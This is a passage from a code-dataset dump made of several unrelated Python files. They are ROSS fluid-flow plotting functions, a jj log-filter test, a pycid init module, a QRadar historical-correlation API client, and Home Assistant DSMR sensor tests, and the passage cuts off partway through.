matplot_pressure_z(my_fluid_flow, theta=int(my_fluid_flow.ntheta/2)) >>> # to show the plots you can use: >>> # plt.show() """ if ( not fluid_flow_object.numerical_pressure_matrix_available and not fluid_flow_object.analytical_pressure_matrix_available ): raise ValueError( "Must calculate the pressure matrix. " "Try calling calculate_pressure_matrix_numerical() or calculate_pressure_matrix_analytical() first." ) if ax is None: ax = plt.gca() y_n = np.zeros(fluid_flow_object.nz) y_a = np.zeros(fluid_flow_object.nz) for i in range(0, fluid_flow_object.nz): y_n[i] = fluid_flow_object.p_mat_numerical[i][theta] y_a[i] = fluid_flow_object.p_mat_analytical[i][theta] if fluid_flow_object.numerical_pressure_matrix_available: ax.plot(fluid_flow_object.z_list, y_n, "b", label="Numerical pressure") if fluid_flow_object.analytical_pressure_matrix_available: ax.plot(fluid_flow_object.z_list, y_a, "r", label="Analytical pressure") ax.set_title( "Pressure along the Z direction (direction of flow); Theta=" + str(theta) ) ax.set_xlabel("Points along Z") ax.set_ylabel("Pressure") return ax def matplot_shape(fluid_flow_object, theta=0, ax=None): """This function assembles a graphic representing the geometry of the rotor using matplotlib. Parameters ---------- fluid_flow_object: a FluidFlow object theta: int, optional The theta to be considered. ax : matplotlib axes, optional Axes in which the plot will be drawn. Returns ------- ax : matplotlib axes Returns the axes object with the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> ax = matplot_shape(my_fluid_flow, theta=int(my_fluid_flow.ntheta/2)) >>> # to show the plots you can use: >>> # plt.show() """ if ax is None: ax = plt.gca() y_ext = np.zeros(fluid_flow_object.nz) y_int = np.zeros(fluid_flow_object.nz) for i in range(0, fluid_flow_object.nz): y_ext[i] = fluid_flow_object.re[i][theta] y_int[i] = fluid_flow_object.ri[i][theta] ax.plot(fluid_flow_object.z_list, y_ext, "r") ax.plot(fluid_flow_object.z_list, y_int, "b") ax.set_title("Shapes of stator and rotor along Z; Theta=" + str(theta)) ax.set_xlabel("Points along Z") ax.set_ylabel("Radial direction") return ax def matplot_pressure_theta_cylindrical(fluid_flow_object, z=0, from_numerical=True, ax=None): """This function assembles cylindrical pressure graphic in the theta direction for a given z, using matplotlib. Parameters ---------- fluid_flow_object: a FluidFlow object z: int, optional The distance along z-axis to be considered. from_numerical: bool, optional If True, takes the numerically calculated pressure matrix as entry. If False, takes the analytically calculated one instead. If condition cannot be satisfied (matrix not calculated), it will take the one that is available and raise a warning. ax : matplotlib axes, optional Axes in which the plot will be drawn. Returns ------- ax : matplotlib axes Returns the axes object with the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> my_fluid_flow.calculate_pressure_matrix_numerical() # doctest: +ELLIPSIS array([[... >>> ax = matplot_pressure_theta_cylindrical(my_fluid_flow, z=int(my_fluid_flow.nz/2)) >>> # to show the plots you can use: >>> # plt.show() """ if ( not fluid_flow_object.numerical_pressure_matrix_available and not fluid_flow_object.analytical_pressure_matrix_available ): raise ValueError( "Must calculate the pressure matrix. " "Try calling calculate_pressure_matrix_numerical() or calculate_pressure_matrix_analytical() first." ) if from_numerical: if fluid_flow_object.numerical_pressure_matrix_available: p_mat = fluid_flow_object.p_mat_numerical else: p_mat = fluid_flow_object.p_mat_analytical else: if fluid_flow_object.analytical_pressure_matrix_available: p_mat = fluid_flow_object.p_mat_analytical else: p_mat = fluid_flow_object.p_mat_numerical if ax is None: fig, ax = plt.subplots(subplot_kw=dict(projection="polar")) r = np.arange( 0, fluid_flow_object.radius_stator + 0.0001, (fluid_flow_object.radius_stator - fluid_flow_object.radius_rotor) / fluid_flow_object.nradius, ) theta = np.arange(-np.pi * 0.25, 1.75 * np.pi + fluid_flow_object.dtheta / 2, fluid_flow_object.dtheta) pressure_along_theta = np.zeros(fluid_flow_object.ntheta) for i in range(0, fluid_flow_object.ntheta): pressure_along_theta[i] = p_mat[0][i] min_pressure = np.amin(pressure_along_theta) r_matrix, theta_matrix = np.meshgrid(r, theta) z_matrix = np.zeros((theta.size, r.size)) inner_radius_list = np.zeros(fluid_flow_object.ntheta) pressure_list = np.zeros((theta.size, r.size)) for i in range(0, theta.size): inner_radius = np.sqrt( fluid_flow_object.xri[z][i] * fluid_flow_object.xri[z][i] + fluid_flow_object.yri[z][i] * fluid_flow_object.yri[z][i] ) inner_radius_list[i] = inner_radius for j in range(0, r.size): if r_matrix[i][j] < inner_radius: continue pressure_list[i][j] = pressure_along_theta[i] z_matrix[i][j] = pressure_along_theta[i] - min_pressure + 0.01 ax.contourf(theta_matrix, r_matrix, z_matrix, cmap="coolwarm") ax.set_title("Pressure along Theta; Z=" + str(z)) return ax def matplot_pressure_theta(fluid_flow_object, z=0, ax=None): """This function assembles pressure graphic in the theta direction for a given z, using matplotlib. Parameters ---------- fluid_flow_object: a FluidFlow object z: int, optional The distance along z-axis to be considered. ax : matplotlib axes, optional Axes in which the plot will be drawn. Returns ------- ax : matplotlib axes Returns the axes object with the plot. Examples -------- >>> from ross.fluid_flow.fluid_flow import fluid_flow_example >>> my_fluid_flow = fluid_flow_example() >>> my_fluid_flow.calculate_pressure_matrix_numerical() # doctest: +ELLIPSIS array([[... >>> ax = matplot_pressure_theta(my_fluid_flow, z=int(my_fluid_flow.nz/2)) >>> # to show the plots you can use: >>> # plt.show() """ if ( not fluid_flow_object.numerical_pressure_matrix_available and not fluid_flow_object.analytical_pressure_matrix_available ): raise ValueError( "Must calculate the pressure matrix. " "Try calling calculate_pressure_matrix_numerical() or calculate_pressure_matrix_analytical() first." ) if ax is None: ax = plt.gca() if fluid_flow_object.numerical_pressure_matrix_available: ax.plot( fluid_flow_object.gama[z], fluid_flow_object.p_mat_numerical[z], "b", label="Numerical pressure" ) if fluid_flow_object.analytical_pressure_matrix_available: ax.plot( fluid_flow_object.gama[z], fluid_flow_object.p_mat_analytical[z], "r", label="Analytical pressure", ) ax.set_title("Pressure along Theta; Z=" + str(z)) ax.set_xlabel("Points along Theta") ax.set_ylabel("Pressure") return ax

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0a0446a9b92286f87ee008094c0af913a0e74bc8

1,652

py

Python

tests/mock/test_system_log_filter.py

TeoDV/jj

a58d91ad7b37ba3115daea4890190abede8f3353

[ "Apache-2.0" ]

4

2020-09-08T08:14:21.000Z

2022-01-27T19:22:53.000Z

tests/mock/test_system_log_filter.py

TeoDV/jj

a58d91ad7b37ba3115daea4890190abede8f3353

[ "Apache-2.0" ]

19

2018-02-13T05:51:25.000Z

2022-03-27T22:48:11.000Z

tests/mock/test_system_log_filter.py

TeoDV/jj

a58d91ad7b37ba3115daea4890190abede8f3353

[ "Apache-2.0" ]

3

2017-11-17T13:25:23.000Z

2022-02-03T12:57:00.000Z

from unittest.mock import Mock, sentinel import pytest from jj.mock import SystemLogFilter from .._test_utils.steps import given, then, when from ..logs._log_record import TestLogRecord @pytest.fixture() def record(): return TestLogRecord(sentinel.message) def test_log_filter(record: TestLogRecord): with given: log_filter = SystemLogFilter() with when: res = log_filter.filter(record) with then: assert res is True def test_log_filter_request_without_header(record: TestLogRecord): with given: log_filter = SystemLogFilter() record.jj_request = Mock(headers={}) with when: res = log_filter.filter(record) with then: assert res is True def test_log_filter_request_with_header(record: TestLogRecord): with given: log_filter = SystemLogFilter() record.jj_request = Mock(headers={"x-jj-remote-mock": ""}) with when: res = log_filter.filter(record) with then: assert res is False def test_log_filter_response_without_header(record: TestLogRecord): with given: log_filter = SystemLogFilter() record.jj_request = Mock(headers={}) record.jj_response = Mock() with when: res = log_filter.filter(record) with then: assert res is True def test_log_filter_response_with_header(record: TestLogRecord): with given: log_filter = SystemLogFilter() record.jj_request = Mock(headers={"x-jj-remote-mock": ""}) record.jj_response = Mock() with when: res = log_filter.filter(record) with then: assert res is False

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0a33b96032b809efbf13c7d5a43aecfb300c3796

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py

Python

pycid/random/__init__.py

sbenthall/pycid

114e1fdcd4bf97c99ca5718fe5a66bcef41a6baf

[ "Apache-2.0" ]

47

2021-02-17T15:43:51.000Z

2022-03-22T00:57:27.000Z

pycid/random/__init__.py

sbenthall/pycid

114e1fdcd4bf97c99ca5718fe5a66bcef41a6baf

[ "Apache-2.0" ]

57

2021-02-18T13:29:30.000Z

2022-02-22T23:12:07.000Z

pycid/random/__init__.py

sbenthall/pycid

114e1fdcd4bf97c99ca5718fe5a66bcef41a6baf

[ "Apache-2.0" ]

5

2021-03-08T18:45:17.000Z

2022-02-07T18:37:54.000Z

from pycid.random.random_cid import random_cid, random_cids # noqa from pycid.random.random_cpd import RandomCPD # noqa from pycid.random.random_dag import random_dag # noqa from pycid.random.random_macid import random_macid, random_macids # noqa from pycid.random.random_macidbase import random_macidbase # noqa

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0a38333ca36c4cd8768ce3ac1d4305569774fb0f

7,913

py

Python

qradar4py/endpoints/historical_correlation.py

ryukisec/qradar4py

958cdea92709778916f0ff8d84d75b18aaad4a66

[ "MIT" ]

10

2019-11-19T21:13:32.000Z

2021-11-17T19:35:53.000Z

qradar4py/endpoints/historical_correlation.py

ryukisec/qradar4py

958cdea92709778916f0ff8d84d75b18aaad4a66

[ "MIT" ]

2

2021-05-21T16:15:16.000Z

2021-07-20T12:34:49.000Z

qradar4py/endpoints/historical_correlation.py

ryukisec/qradar4py

958cdea92709778916f0ff8d84d75b18aaad4a66

[ "MIT" ]

6

2020-09-14T13:44:55.000Z

2021-11-17T19:35:55.000Z

from urllib.parse import urljoin from qradar4py.endpoints.api_endpoint import QRadarAPIEndpoint from qradar4py.endpoints.api_endpoint import request_vars from qradar4py.endpoints.api_endpoint import header_vars class HistoricalCorrelation(QRadarAPIEndpoint): """ The QRadar API endpoint group /historical_correlation and its endpoints. UNDOCUMENTED """ __baseurl = 'historical_correlation/' def __init__(self, url, header, verify): super().__init__(urljoin(url, self.__baseurl), header, verify) @request_vars('offense_id', 'fields') def get_hc_offense_info(self, *, offense_id, fields=None, **kwargs): """ GET /historical_correlation/hc_offense_info Retrieves a historical correlation instance information associated with given offense UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'hc_offense_info') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('fields', 'filter') def get_potential_event_rules(self, *, Range=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/potential_event_rules Retrieves a list of common/event custom rules that can be added to a historical correlation profile with a network_event_type of event (0). UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'potential_event_rules') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('fields', 'filter') def get_potential_event_saved_searches(self, *, Range=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/potential_event_saved_searches Retrieves a list of non-aggregated event saved searches that can be added to a historical correlation profile with a network_event_type of event (0). UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'potential_event_saved_searches') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('fields', 'filter') def get_potential_flow_rules(self, *, Range=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/potential_flow_rules Retrieves a list of common/flow rules that can added to a historical correlation profile with a network_event_type of flow (1). UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'potential_flow_rules') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('fields', 'filter') def get_potential_flow_saved_searches(self, *, Range=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/potential_flow_saved_searches Retrieves a list of non-aggregated flow saved searches that can be added to a historical correlation profile with a network_event_type of flow (1). UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'potential_flow_saved_searches') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('sort', 'fields', 'filter') def get_profiles(self, *, Range=None, sort=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/profiles Retrieves a list of historical correlation profiles UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles') return self._call('GET', function_endpoint, headers=headers, **kwargs) @header_vars('fields') def post_profiles(self, *, profileData, fields=None, **kwargs): """ POST /historical_correlation/profiles Create a new historical correlation profile UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles') return self._call('POST', function_endpoint, json=profileData, headers=headers, **kwargs) @request_vars('fields') def get_profiles_by_id(self, id, *, fields=None, **kwargs): """ GET /historical_correlation/profiles/{id} Get a Historical Search Profile by Id UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}'.format(id=id)) return self._call('GET', function_endpoint, headers=headers, **kwargs) def delete_profiles_by_id(self, id, **kwargs): """ DELETE /historical_correlation/profiles/{id} Delete a Historical Correlation Profile by Id UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}'.format(id=id)) return self._call('DELETE', function_endpoint, headers=headers, **kwargs) @header_vars('fields') def post_profiles_by_id(self, id, *, profileData, fields=None, **kwargs): """ POST /historical_correlation/profiles/{id} Update a historical correlation profile UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}'.format(id=id)) return self._call('POST', function_endpoint, json=profileData, headers=headers, **kwargs) @request_vars('fields') def post_profiles_runs_by_id(self, id, *, fields=None, **kwargs): """ POST /historical_correlation/profiles/{id}/runs Causes the Historical Profile server to run a given historical correlation profile. UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}/runs'.format(id=id)) return self._call('POST', function_endpoint, headers=headers, **kwargs) @header_vars('Range') @request_vars('sort', 'fields', 'filter') def get_profiles_runs_by_id(self, id, *, Range=None, sort=None, fields=None, filter=None, **kwargs): """ GET /historical_correlation/profiles/{id}/runs Retrieves a collection of historical correlation profile run structure for a given profile id. UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}/runs'.format(id=id)) return self._call('GET', function_endpoint, headers=headers, **kwargs) @request_vars('fields') def get_profiles_id_runs_by_run_id(self, id, run_id, *, fields=None, **kwargs): """ GET /historical_correlation/profiles/{id}/runs/{run_id} Retrieves a historical correlation profile run structure for a given profile running id. UNDOCUMENTED """ headers = kwargs.get('headers', {}).update({'Allow-Hidden': True}) function_endpoint = urljoin(self._baseurl, 'profiles/{id}/runs/{run_id}'.format(id=id, run_id=run_id)) return self._call('GET', function_endpoint, headers=headers, **kwargs)

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py

Python

Uncommon/Python/__init__.py

MattiKemp/Data-Structures-And-Algorithms

37a4eb4f092f5a058643ef5ac302fe16d97f84dc

[ "Unlicense" ]

null

Uncommon/Python/__init__.py

MattiKemp/Data-Structures-And-Algorithms

37a4eb4f092f5a058643ef5ac302fe16d97f84dc

[ "Unlicense" ]

null

Uncommon/Python/__init__.py

MattiKemp/Data-Structures-And-Algorithms

37a4eb4f092f5a058643ef5ac302fe16d97f84dc

[ "Unlicense" ]

null

from . import DataStructures from . import Algorithms

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py

Python

tests/components/dsmr/test_sensor.py

basicpail/core

5cc54618c5af3f75c08314bf2375cc7ac40d2b7e

[ "Apache-2.0" ]

7

2019-08-15T13:36:58.000Z

2020-03-18T10:46:29.000Z

tests/components/dsmr/test_sensor.py

basicpail/core

5cc54618c5af3f75c08314bf2375cc7ac40d2b7e

[ "Apache-2.0" ]

87

2020-07-15T13:43:35.000Z

2022-03-23T07:43:10.000Z

tests/components/dsmr/test_sensor.py

winning1120xx/home-assistant

53d4c0ce2d374b5e97bbdc37742656c27adf8eea

[ "Apache-2.0" ]

11

2020-12-16T13:48:14.000Z

2022-02-01T00:28:05.000Z

"""Test for DSMR components. Tests setup of the DSMR component and ensure incoming telegrams cause Entity to be updated with new values. """ import asyncio import datetime from decimal import Decimal from itertools import chain, repeat from unittest.mock import DEFAULT, MagicMock from homeassistant import config_entries from homeassistant.components.dsmr.const import DOMAIN from homeassistant.components.sensor import ( ATTR_STATE_CLASS, DOMAIN as SENSOR_DOMAIN, STATE_CLASS_MEASUREMENT, STATE_CLASS_TOTAL_INCREASING, ) from homeassistant.const import ( ATTR_DEVICE_CLASS, ATTR_ICON, ATTR_UNIT_OF_MEASUREMENT, DEVICE_CLASS_ENERGY, DEVICE_CLASS_GAS, DEVICE_CLASS_POWER, ENERGY_KILO_WATT_HOUR, STATE_UNKNOWN, VOLUME_CUBIC_METERS, ) from homeassistant.helpers import entity_registry as er from homeassistant.setup import async_setup_component from tests.common import MockConfigEntry, patch async def test_setup_platform(hass, dsmr_connection_fixture): """Test setup of platform.""" async_add_entities = MagicMock() entry_data = { "platform": DOMAIN, "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, } serial_data = {"serial_id": "1234", "serial_id_gas": "5678"} with patch( "homeassistant.components.dsmr.async_setup_entry", return_value=True ), patch( "homeassistant.components.dsmr.config_flow._validate_dsmr_connection", return_value=serial_data, ): assert await async_setup_component( hass, SENSOR_DOMAIN, {SENSOR_DOMAIN: entry_data} ) await hass.async_block_till_done() assert not async_add_entities.called # Check config entry conf_entries = hass.config_entries.async_entries(DOMAIN) assert len(conf_entries) == 1 entry = conf_entries[0] assert entry.state == config_entries.ConfigEntryState.LOADED assert entry.data == {**entry_data, **serial_data} async def test_default_setup(hass, dsmr_connection_fixture): """Test the default setup.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( CURRENT_ELECTRICITY_USAGE, ELECTRICITY_ACTIVE_TARIFF, GAS_METER_READING, ) from dsmr_parser.objects import CosemObject, MBusObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = { CURRENT_ELECTRICITY_USAGE: CosemObject( [{"value": Decimal("0.0"), "unit": ENERGY_KILO_WATT_HOUR}] ), ELECTRICITY_ACTIVE_TARIFF: CosemObject([{"value": "0001", "unit": ""}]), GAS_METER_READING: MBusObject( [ {"value": datetime.datetime.fromtimestamp(1551642213)}, {"value": Decimal(745.695), "unit": "m3"}, ] ), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() registry = er.async_get(hass) entry = registry.async_get("sensor.power_consumption") assert entry assert entry.unique_id == "1234_Power_Consumption" entry = registry.async_get("sensor.gas_consumption") assert entry assert entry.unique_id == "5678_Gas_Consumption" telegram_callback = connection_factory.call_args_list[0][0][2] # make sure entities have been created and return 'unknown' state power_consumption = hass.states.get("sensor.power_consumption") assert power_consumption.state == STATE_UNKNOWN assert power_consumption.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_POWER assert power_consumption.attributes.get(ATTR_ICON) is None assert power_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_MEASUREMENT assert power_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) is None # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) # ensure entities have new state value after incoming telegram power_consumption = hass.states.get("sensor.power_consumption") assert power_consumption.state == "0.0" assert ( power_consumption.attributes.get("unit_of_measurement") == ENERGY_KILO_WATT_HOUR ) # tariff should be translated in human readable and have no unit power_tariff = hass.states.get("sensor.power_tariff") assert power_tariff.state == "low" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) is None assert power_tariff.attributes.get(ATTR_ICON) == "mdi:flash" assert power_tariff.attributes.get(ATTR_STATE_CLASS) is None assert power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == "" # check if gas consumption is parsed correctly gas_consumption = hass.states.get("sensor.gas_consumption") assert gas_consumption.state == "745.695" assert gas_consumption.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_GAS assert ( gas_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING ) assert ( gas_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == VOLUME_CUBIC_METERS ) async def test_setup_only_energy(hass, dsmr_connection_fixture): """Test the default setup.""" entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "2.2", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() registry = er.async_get(hass) entry = registry.async_get("sensor.power_consumption") assert entry assert entry.unique_id == "1234_Power_Consumption" entry = registry.async_get("sensor.gas_consumption") assert not entry async def test_v4_meter(hass, dsmr_connection_fixture): """Test if v4 meter is correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( ELECTRICITY_ACTIVE_TARIFF, HOURLY_GAS_METER_READING, ) from dsmr_parser.objects import CosemObject, MBusObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "4", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = { HOURLY_GAS_METER_READING: MBusObject( [ {"value": datetime.datetime.fromtimestamp(1551642213)}, {"value": Decimal(745.695), "unit": "m3"}, ] ), ELECTRICITY_ACTIVE_TARIFF: CosemObject([{"value": "0001", "unit": ""}]), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) # tariff should be translated in human readable and have no unit power_tariff = hass.states.get("sensor.power_tariff") assert power_tariff.state == "low" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) is None assert power_tariff.attributes.get(ATTR_ICON) == "mdi:flash" assert power_tariff.attributes.get(ATTR_STATE_CLASS) is None assert power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == "" # check if gas consumption is parsed correctly gas_consumption = hass.states.get("sensor.gas_consumption") assert gas_consumption.state == "745.695" assert gas_consumption.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_GAS assert gas_consumption.attributes.get("unit_of_measurement") == VOLUME_CUBIC_METERS assert ( gas_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING ) assert ( gas_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == VOLUME_CUBIC_METERS ) async def test_v5_meter(hass, dsmr_connection_fixture): """Test if v5 meter is correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( ELECTRICITY_ACTIVE_TARIFF, HOURLY_GAS_METER_READING, ) from dsmr_parser.objects import CosemObject, MBusObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = { HOURLY_GAS_METER_READING: MBusObject( [ {"value": datetime.datetime.fromtimestamp(1551642213)}, {"value": Decimal(745.695), "unit": "m3"}, ] ), ELECTRICITY_ACTIVE_TARIFF: CosemObject([{"value": "0001", "unit": ""}]), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) # tariff should be translated in human readable and have no unit power_tariff = hass.states.get("sensor.power_tariff") assert power_tariff.state == "low" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) is None assert power_tariff.attributes.get(ATTR_ICON) == "mdi:flash" assert power_tariff.attributes.get(ATTR_STATE_CLASS) is None assert power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == "" # check if gas consumption is parsed correctly gas_consumption = hass.states.get("sensor.gas_consumption") assert gas_consumption.state == "745.695" assert gas_consumption.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_GAS assert ( gas_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING ) assert ( gas_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == VOLUME_CUBIC_METERS ) async def test_luxembourg_meter(hass, dsmr_connection_fixture): """Test if v5 meter is correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( HOURLY_GAS_METER_READING, LUXEMBOURG_ELECTRICITY_DELIVERED_TARIFF_GLOBAL, LUXEMBOURG_ELECTRICITY_USED_TARIFF_GLOBAL, ) from dsmr_parser.objects import CosemObject, MBusObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5L", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = { HOURLY_GAS_METER_READING: MBusObject( [ {"value": datetime.datetime.fromtimestamp(1551642213)}, {"value": Decimal(745.695), "unit": "m3"}, ] ), LUXEMBOURG_ELECTRICITY_USED_TARIFF_GLOBAL: CosemObject( [{"value": Decimal(123.456), "unit": ENERGY_KILO_WATT_HOUR}] ), LUXEMBOURG_ELECTRICITY_DELIVERED_TARIFF_GLOBAL: CosemObject( [{"value": Decimal(654.321), "unit": ENERGY_KILO_WATT_HOUR}] ), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) power_tariff = hass.states.get("sensor.energy_consumption_total") assert power_tariff.state == "123.456" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_ENERGY assert power_tariff.attributes.get(ATTR_ICON) is None assert power_tariff.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING assert ( power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == ENERGY_KILO_WATT_HOUR ) power_tariff = hass.states.get("sensor.energy_production_total") assert power_tariff.state == "654.321" assert power_tariff.attributes.get("unit_of_measurement") == ENERGY_KILO_WATT_HOUR # check if gas consumption is parsed correctly gas_consumption = hass.states.get("sensor.gas_consumption") assert gas_consumption.state == "745.695" assert gas_consumption.attributes.get(ATTR_DEVICE_CLASS) == DEVICE_CLASS_GAS assert ( gas_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING ) assert ( gas_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == VOLUME_CUBIC_METERS ) async def test_belgian_meter(hass, dsmr_connection_fixture): """Test if Belgian meter is correctly parsed.""" (connection_factory, transport, protocol) = dsmr_connection_fixture from dsmr_parser.obis_references import ( BELGIUM_HOURLY_GAS_METER_READING, ELECTRICITY_ACTIVE_TARIFF, ) from dsmr_parser.objects import CosemObject, MBusObject entry_data = { "port": "/dev/ttyUSB0", "dsmr_version": "5B", "precision": 4, "reconnect_interval": 30, "serial_id": "1234", "serial_id_gas": "5678", } entry_options = { "time_between_update": 0, } telegram = { BELGIUM_HOURLY_GAS_METER_READING: MBusObject( [ {"value": datetime.datetime.fromtimestamp(1551642213)}, {"value": Decimal(745.695), "unit": "m3"}, ] ), ELECTRICITY_ACTIVE_TARIFF: CosemObject([{"value": "0001", "unit": ""}]), } mock_entry = MockConfigEntry( domain="dsmr", unique_id="/dev/ttyUSB0", data=entry_data, options=entry_options ) mock_entry.add_to_hass(hass) await hass.config_entries.async_setup(mock_entry.entry_id) await hass.async_block_till_done() telegram_callback = connection_factory.call_args_list[0][0][2] # simulate a telegram pushed from the smartmeter and parsed by dsmr_parser telegram_callback(telegram) # after receiving telegram entities need to have the chance to update await asyncio.sleep(0) # tariff should be translated in human readable and have no unit power_tariff = hass.states.get("sensor.power_tariff") assert power_tariff.state == "normal" assert power_tariff.attributes.get(ATTR_DEVICE_CLASS) is None assert power_tariff.attributes.get(ATTR_ICON) == "mdi:flash" assert power_tariff.attributes.get(ATTR_STATE_CLASS) is None assert power_tariff.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == "" # check if gas consumption is parsed correctly gas_consumption = hass.states.get("sensor.gas_consumption") assert gas_consumption.state == "745.695" assert gas_consumption.attributes.get(ATTR_DEVICE_CLASS) is DEVICE_CLASS_GAS assert ( gas_consumption.attributes.get(ATTR_STATE_CLASS) == STATE_CLASS_TOTAL_INCREASING ) assert ( gas_consumption.attributes.get(ATTR_UNIT_OF_MEASUREMENT) == VOLUME_CUBIC_METERS ) async def test_belgian_meter_low(hass, dsmr_connection_fixture): """Test if Belgian meter is 